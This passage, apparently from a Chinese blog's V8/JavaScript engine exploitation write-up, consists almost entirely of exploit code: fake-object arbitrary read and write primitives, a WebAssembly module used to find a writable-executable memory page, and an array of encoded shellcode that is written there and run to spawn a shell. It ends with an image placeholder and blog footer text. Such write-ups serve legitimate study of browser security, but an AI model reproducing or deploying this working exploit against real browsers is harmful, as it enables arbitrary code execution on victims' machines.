arb_rw_arr[2] = i2f(address - 0x10n + 0x1n)
return f2i(fake_obj[0]);
}

var sc_arr = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
];

var buffer = new ArrayBuffer(sc_arr.length * 8);
var data_view = new DataView(buffer);
var buf_backing_store_addr = address_of(buffer) - 1n + 0x20n;

function arbitrary_write(address, value) {
arb_rw_arr[2] = i2f(buf_backing_store_addr - 0x10n + 0x1n);
fake_obj[0] = i2f(address);
for (let i = 0; i < value.length; i++) {
data_view.setFloat64(i * 8, i2f(value[i]), true);
}
}

var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var pwn = wasmInstance.exports.main;

var pwn_addr = address_of(pwn);
console.log("pwn_addr => 0x" + pwn_addr.toString(16).trim());
var shared_info_addr = arbitrary_read(pwn_addr - 1n + 0x18n);
console.log("shared_info_addr => 0x" + shared_info_addr.toString(16).trim());
var data_addr = arbitrary_read(shared_info_addr - 1n + 0x8n);
console.log("data_addr => 0x" + data_addr.toString(16).trim());
var instance_addr = arbitrary_read(data_addr - 1n + 0x10n);
console.log("instance_addr => 0x" + instance_addr.toString(16).trim());
var rwx_addr = arbitrary_read(instance_addr - 1n + 0x88n);
console.log("rwx_addr => 0x" + rwx_addr.toString(16).trim());

arbitrary_write(rwx_addr, sc_arr);

pwn();

image-20230627195354273

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量